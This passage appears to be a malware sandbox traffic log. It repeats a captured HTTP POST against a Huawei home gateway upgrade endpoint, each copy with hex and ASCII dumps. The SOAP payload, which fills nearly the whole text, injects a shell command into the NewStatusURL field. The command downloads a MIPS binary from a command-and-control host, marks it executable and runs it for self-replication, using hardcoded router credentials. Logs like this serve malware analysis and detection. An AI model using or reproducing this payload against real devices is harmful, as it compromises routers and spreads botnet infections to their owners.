xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 